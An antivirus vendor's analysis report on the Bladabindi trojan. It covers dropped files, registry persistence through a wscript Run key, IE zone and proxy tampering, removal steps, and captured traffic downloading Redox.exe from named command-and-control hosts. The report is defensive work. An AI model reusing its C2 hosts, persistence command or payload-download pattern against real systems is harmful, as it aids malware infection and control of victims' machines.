Trojan.MSIL.Bladabindi.2_035581067d – Adaware

Dynamic Analysis

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

%original file name%.exe:1908
WScript.exe:1980

The Trojan injects its code into the following process(es):

WinUpdat.exe:1124

File activity

The process %original file name%.exe:1908 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\aut1.tmp (1345 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\WinUpdat.vbs (157 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\WinUpdat.exe (2609 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\aut2.tmp (196 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\aut1.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\aut2.tmp (0 bytes)

The process WinUpdat.exe:1124 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Application Data\Redox2\Redox.exe (249072 bytes)
%Documents and Settings%\%current user%\Application Data\Redox2\Ionic.Zlib.dll (6996 bytes)

The process WScript.exe:1980 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Start Menu\Programs\Startup\WinUpdat.vbs (180 bytes)

Registry activity

The process %original file name%.exe:1908 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "B1 16 19 23 33 8E 78 16 D8 2F C3 8E 8B 1C 80 8C"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%System%]
"wscript.exe" = "Microsoft (R) Windows Based Script Host"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The process WinUpdat.exe:1124 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "19 6F A4 8C E7 5B 48 3C 82 5B 3E C0 23 04 CC 91"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

The process WScript.exe:1980 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Programs" = "%Documents and Settings%\%current user%\Start Menu\Programs"
"NetHood" = "%Documents and Settings%\%current user%\NetHood"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Fonts" = "%WinDir%\Fonts"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1A 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Start Menu" = "%Documents and Settings%\All Users\Start Menu"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"PrintHood" = "%Documents and Settings%\%current user%\PrintHood"
"Startup" = "%Documents and Settings%\%current user%\Start Menu\Programs\Startup"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"
"Common Startup" = "%Documents and Settings%\All Users\Start Menu\Programs\Startup"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Templates" = "%Documents and Settings%\%current user%\Templates"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"SendTo" = "%Documents and Settings%\%current user%\SendTo"
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\WinUpdat]
"(Default)" = "false - 5/26/2014"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Start Menu" = "%Documents and Settings%\%current user%\Start Menu"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "0A 6B D1 FF 46 C0 36 F9 98 5D EA BF 2F B0 21 2E"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Programs" = "%Documents and Settings%\All Users\Start Menu\Programs"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Recent" = "%Documents and Settings%\%current user%\Recent"
"Favorites" = "%Documents and Settings%\%current user%\Favorites"
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"WinUpdat" = "wscript.exe //B C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\WinUpdat.vbs"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass" = "1"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

"IntranetName" = "1"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"WinUpdat" = "wscript.exe //B C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\WinUpdat.vbs"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

Dropped PE files

MD5	File path
0d37762edbb7eafaa99d8f982dd2604c	c:\Documents and Settings\"%CurrentUserName%"\Application Data\Redox2\Ionic.Zlib.dll
148d3be42bd097607d32193b3696d652	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\WinUpdat.exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

Removals

Remove it with Ad-Aware

Click (here) to download and install Ad-Aware Free Antivirus.
Update the definition files.
Run a full scan of your computer.

Manual removal*

Terminate malicious process(es) (How to End a Process With the Task Manager):
%original file name%.exe:1908
WScript.exe:1980
Delete the original Trojan file.
Delete or disinfect the following files created/modified by the Trojan:
%Documents and Settings%\%current user%\Local Settings\Temp\aut1.tmp (1345 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\WinUpdat.vbs (157 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\WinUpdat.exe (2609 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\aut2.tmp (196 bytes)
%Documents and Settings%\%current user%\Application Data\Redox2\Redox.exe (249072 bytes)
%Documents and Settings%\%current user%\Application Data\Redox2\Ionic.Zlib.dll (6996 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\Startup\WinUpdat.vbs (180 bytes)
Delete the following value(s) in the autorun key (How to Work with System Registry):
[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"WinUpdat" = "wscript.exe //B C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\WinUpdat.vbs"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"WinUpdat" = "wscript.exe //B C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\WinUpdat.vbs"
Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Static Analysis

VersionInfo

Company Name:
Product Name:
Product Version:
Legal Copyright:
Legal Trademarks:
Original Filename:
Internal Name:
File Version: 3, 3, 8, 1
File Description:
Comments:
Language: Language Neutral

Company Name: Product Name: Product Version: Legal Copyright: Legal Trademarks: Original Filename: Internal Name: File Version: 3, 3, 8, 1File Description: Comments: Language: Language Neutral

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
UPX0	4096	458752	0	0	d41d8cd98f00b204e9800998ecf8427e
UPX1	462848	274432	270848	5.49588	dde7763f3780b9cf00e94dd1964b1e02
.rsrc	737280	8192	5632	2.90925	37d095cabf1d2362297eccf97b96895b

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Network Activity

URLs

URL	IP
hxxp://rguard.redoxbot.net/updater/files.txt	108.162.197.178
hxxp://rguard.redoxbot.net/updater/dl3/Ionic.Zlib.dll	108.162.197.178
hxxp://rguard.redoxbot.net/updater/dl3/Redox.exe	108.162.197.178
tchikangel.no-ip.biz	197.202.177.46

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

GET /updater/files.txt HTTP/1.1

Host: rguard.redoxbot.net

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: cloudflare-nginx

Date: Mon, 26 May 2014 13:32:23 GMT

Content-Type: text/plain

Content-Length: 146

Connection: keep-alive

Set-Cookie: __cfduid=da8ec18f16103fdfb782243de921e07631401111143548; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.redoxbot.net; HttpOnly

Last-Modified: Tue, 20 May 2014 14:21:38 GMT

Accept-Ranges: bytes

ETag: "e02dd03674cf1:0"

X-Powered-By: ASP.NET

CF-RAY: 130a56a72b870773-EWR

.....\Ionic.Zlib.dll.....\Redox.exe.. ..\RProtocol.dll.|T..\zlib.net.dll.....\Cache\RedoxCache.exe.. ..\MITM\No.Ankama.dll.V...\MITM\RMITM.exe........

GET /updater/dl3/Ionic.Zlib.dll HTTP/1.1

Host: rguard.redoxbot.net

HTTP/1.1 200 OK

Server: cloudflare-nginx

Date: Mon, 26 May 2014 13:32:24 GMT

Content-Type: application/x-msdownload

Content-Length: 102400

Connection: keep-alive

Set-Cookie: __cfduid=d40308749637a69faa811d42bc5fadf8f1401111143992; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.redoxbot.net; HttpOnly

Last-Modified: Sun, 07 Aug 2011 01:01:51 GMT

Accept-Ranges: bytes

ETag: "235931979d54cc1:0"

X-Powered-By: ASP.NET

CF-RAY: 130a56a9fbf90773-EWR

MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....=N...........!.....`... ......Ns... ........... ..............................;.....@..................................s..K.......h............................r............................................... ............... ..H............text...TS... ...`.................. ..`.rsrc...h............p..............@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

<<

<<< skipped >>>

GET /updater/dl3/Redox.exe HTTP/1.1

Host: rguard.redoxbot.net

HTTP/1.1 200 OK

Server: cloudflare-nginx

Date: Mon, 26 May 2014 13:32:26 GMT

Content-Type: application/octet-stream

Content-Length: 2823168

Connection: keep-alive

Set-Cookie: __cfduid=d9f2b8216101cd9f3d79a3a74896a53e51401111145981; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.redoxbot.net; HttpOnly

Last-Modified: Tue, 20 May 2014 14:20:59 GMT

Accept-Ranges: bytes

ETag: "012dcb83674cf1:0"

X-Powered-By: ASP.NET

CF-RAY: 130a56b66dca0773-EWR

MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...zd{S.................r............... ........@.. ........................ ...../.....@.................................`...K............................@....................................................... ............... ..H ...........text....p... ...r.......... ....... ..`.rsrc................v...... .......@..@.reloc.......@.............. .......@..BcJyXc6mY.....`......................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................H.......@... ...........@1...U...........................................0..........(...........s....o....(E...s.........s......(.......... .........&..E....W.......Q...............3...H...{...................U...x...............?...V...w.................o.... ......o....ao..........(.... B?.. .>.yYZ......d.......8V............& .&...... ....o.............o......... ....o..........8...........0.& .&.....8.........&....Z..X ....^.......8......... .-.# w.J.Z..&.s....s......(......oD...o.....s......

<<

<<< skipped >>>

Map

The Trojan connects to the servers at the folowing location(s):

Strings from Dumps

WScript.exe_1980:

.text

`.data

.rsrc

@.reloc

ADVAPI32.dll

KERNEL32.dll

NTDLL.DLL

USER32.dll

msvcrt.dll

OLEAUT32.dll

ole32.dll

VERSION.dll

wscript.exe

advapi32.dll

kernel32.dll

%s%s.DLL

wintrust.dll

%d.%d

Invalid parameter passed to C runtime function.

SOFTWARE\Classes\%s\%s

0x%8X

CreateURLMonikerEx

urlmon.dll

@@8X%u

RegCreateKeyA

RegCloseKey

RegOpenKeyA

RegDeleteKeyA

RegCreateKeyExW

RegCreateKeyExA

RegOpenKeyExW

ReportEventW

RegEnumKeyExA

RegOpenKeyExA

GetProcessHeap

GetCPInfo

MsgWaitForMultipleObjects

EnumThreadWindows

wscript.pdb

stdole2.tlbWWW

.ObjectWW

KeyW

WindowsFolderWWW4

%CopyFolderWWL

Windows Script Host (Ver 5.6)W)

Windows Script Host Application InterfaceW%

Windows Script Host Object

ebstrCmdLineW

7Â8t8x8

5Q5F5

Software\Microsoft\Windows Script Host\Settings

Windows Script Host

WScript.CreateObject

WSHRemote.Execute

Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}

.\%s.mui

.\%s\%s.mui

%s\%s.mui

%s\%s\%s.mui

%s\%s

Microsoft (R) Windows Based Script Host

5.7.0.16599

Microsoft (R) Windows Script Host

(Windows Script Host (debugging disabled)

Windows Script Host Error

Windows Script Host Input Error

This Unicode version of Windows Script Host will only execute under Windows NT.

Please use the ANSI version of Windows Script Host."

WScript execution time was exceeded on script "%1!ls!".

Script execution was terminated.1Could not locate automation class named "%1!ls!".

Could not connect object.'Could not create object named "%1!ls!".1Initialization of the Windows Script Host failed.6Can't find script engine "%2!ls!" for script "%1!ls!".!Can't change default script host.=An attempt at saving your settings via the //S option failed.(Loading script "%1!ls!" failed (%2!ls!).

Loading your settings failed.,Execution of the Windows Script Host failed.,Unexpected error of the Windows Script Host._Windows Script Host access is disabled on this machine. Contact your administrator for details.<Attempt to execute Windows Script Host while it is disabled><pre>Missing job name.*Unicode is not supported on this platform.</pre><pre><The Windows Script Host settings have been reset to default><pre>Command line options are saved.4The default script host is now set to "wscript.exe".4The default script host is now set to "cscript.exe".,Successful execution of Windows Script Host.3Successful remote execution of Windows Script Host.</pre><pre>Win32 Error 0x%X</pre><pre>Windows Script Host(Windows Script Host (debugging disabled)</pre><pre>Usage: WScript scriptname.extension [option...] [arguments...]</pre><pre>Use engine for executing script</pre><pre>Changes the default script host to CScript.exe</pre><pre>Changes the default script host to WScript.exe (default)</pre><pre>Prevent logo display: No banner will be shown at execution time</pre><pre>#WScript Error - Windows Script Host!Input Error - Windows Script HostlThis Unicode version of WScript will only execute under Windows NT.</pre><pre>%6!ls! WScript - Script Execution Error!Windows Script Host Remote Script/Remote script object can only be executed once. Unable to execute remote script.</pre></The></pre></Attempt>

Summary

Dynamic Analysis

Removals

Static Analysis

Network Activity

Map

Strings from Dumps